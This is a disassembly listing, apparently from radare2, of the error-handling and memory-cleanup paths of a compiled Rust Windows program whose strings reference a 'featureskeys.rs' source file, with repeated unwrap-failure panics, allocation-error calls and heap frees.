call sym.core::result::unwrap_failed::h9b9528a0a4171737
ud2
mov ecx, 1
mov edx, 0x2000
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
lea r8, [0x140327558]
mov rdx, rsi
call sym.core::slice::index::slice_start_index_len_fail::h5f4d386d5ac67311
mov qword [rsp + 0xbd0], rsi
lea rax, str.hello_src_featureimpl_featureskeys.rs
jmp 0x140055d36
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h437d9264e0d38326
lea r8, [rsp + 0xbd0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov qword [rsp + 0x15d0], rbx
lea rax, str.hello_src_featureimpl_featureskeys.rs
jmp 0x140055d7b
mov qword [rsp + 0x15d0], rdx
lea rax, str.hello_src_featureimpl_featureskeys.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h437d9264e0d38326
lea r8, [rsp + 0x15d0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov qword [rsp + 0xe0], 0
lea rcx, [rsp + 0x5b8]
lea rdx, [rsp + 0xe0]
call sym.core::panicking::assert_failed::hcb93a219aec44be7
lea rax, str._rustc_3f5fd8dd41153bc5fdca9427e9e05be2c767ba23library_alloc_src_sync.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1402c5f98]
lea r8, [rsp + 0x15d0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
lea rax, str.library_alloc_src_sync.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1402bab38]
lea r8, [rsp + 0x15d0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov qword [rsp + 0xe0], r14
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xf0], rdi
lea rax, str.hello_src_featureimpl_featureskeys.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, sym.core::ptr::drop_in_place_regex::error::Error_::h05ff89ca3d6dc719
lea r8, [rsp + 0xe0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov ecx, 1
mov edx, 3
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 8
mov rdx, rdi
call sym.alloc::alloc::handle_alloc_error::h033f15fcf3b32b44
movzx eax, byte [0x14035b110]
mov edx, 8
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
jne 0x140055f96
mov ecx, 8
mov edx, 8
call sym.alloc::alloc::handle_alloc_error::h033f15fcf3b32b44
mov rax, qword [rsp + 0x1250]
mov qword [rsp + 0xf0], rax
movups xmm0, xmmword [rsp + 0x1240]
movaps xmmword [rsp + 0xe0], xmm0
lea rax, str.hello_src_featureimpl_featureskeys.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, sym._ZN4core3ptr205drop_in_place_LT__LT_alloc..boxed..Box_LT_dyn_u20_core..error..Error_u2b_core..marker..Sync_u2b_core..marker..S
lea r8, [rsp + 0xe0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov rax, qword [rsp + 0x1250]
mov qword [rsp + 0xf0], rax
movups xmm0, xmmword [rsp + 0x1240]
movaps xmmword [rsp + 0xe0], xmm0
lea rax, str.hello_src_featureimpl_featureskeys.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_get_ptr
lea r9, sym._ZN4core3ptr205drop_in_place_LT__LT_alloc..boxed..Box_LT_dyn_u20_core..error..Error_u2b_core..marker..Sync_u2b_core..marker..S
lea r8, [rsp + 0xe0]
mov edx, 0x11
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xe0], rax
lea rax, str.hello_src_featureimpl_featureskeys.rs
jmp 0x140055f71
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0xe0], rax
lea rax, str.hello_src_featureimpl_featureskeys.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h437d9264e0d38326
lea r8, [rsp + 0xe0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov qword [rax], rsi
lea rcx, sym.core::ptr::drop_in_place_std::io::error::Error_::h437d9264e0d38326
movq xmm0, rcx
movq xmm6, rax
punpcklqdq xmm6, xmm0
movdqa xmmword [rsp + 0xe0], xmm6
lea rax, str.hello_src_featureimpl_featureskeys.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, sym.core::ptr::drop_in_place_alloc::boxed::Box_dyn_core::error::Error__::hfabdba0cd101e58f
lea r8, [rsp + 0xe0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
cmp qword [rsp + 0xf90], 0
je 0x1400560ba
mov r8, qword [rsp + 0xf98]
jmp 0x1400560ac
cmp qword [rsp + 0xf90], 0
je 0x14005613e
mov r8, qword [rsp + 0xf98]
jmp 0x140056130
mov ecx, 8
mov edx, 0x60
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov eax, 1
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x850], rbx
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x850]
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov eax, 1
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x70], rsi
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x70]
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
cmp qword [rsp + 0xb50], 0
je 0x140056099
mov r8, qword [rsp + 0xb58]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
cmp qword [rsp + 0x580], 0
je 0x1400560ba
mov r8, qword [rsp + 0x588]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
mov rsi, qword [rsp + 0x910]
test rsi, rsi
je 0x14005614b
mov rdi, qword [rsp + 0x908]
add rdi, 8
jmp 0x1400560e2
add rdi, 0x18
dec rsi
je 0x14005614b
cmp qword [rdi - 8], 0
je 0x1400560d9
mov r8, qword [rdi]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
jmp 0x1400560d9
cmp qword [rsp + 0xb50], 0
je 0x14005611d
mov r8, qword [rsp + 0xb58]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
cmp qword [rsp + 0x580], 0
je 0x14005613e
mov r8, qword [rsp + 0x588]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
mov rsi, qword [rsp + 0x910]
test rsi, rsi
jne 0x1400561b9
cmp qword [rsp + 0x900], 0
je 0x14005616c
mov r8, qword [rsp + 0x908]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
cmp qword [rsp + 0x918], 0
je 0x14005618d
mov r8, qword [rsp + 0x920]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
lea rax, [0x140324f50]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly
lea r9, [0x1402c5fe8]
lea r8, [rsp + 0x15d0]
mov edx, 0x37
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov rdi, qword [rsp + 0x908]
add rdi, 8
jmp 0x1400561d4
add rdi, 0x18
dec rsi
je 0x14005614b
cmp qword [rdi - 8], 0
je 0x1400561c7
mov r8, qword [rdi]
mov rcx, qword [0x14035b0d0]
xor edx, edx
call fcn.140137fbc
jmp 0x1400561c7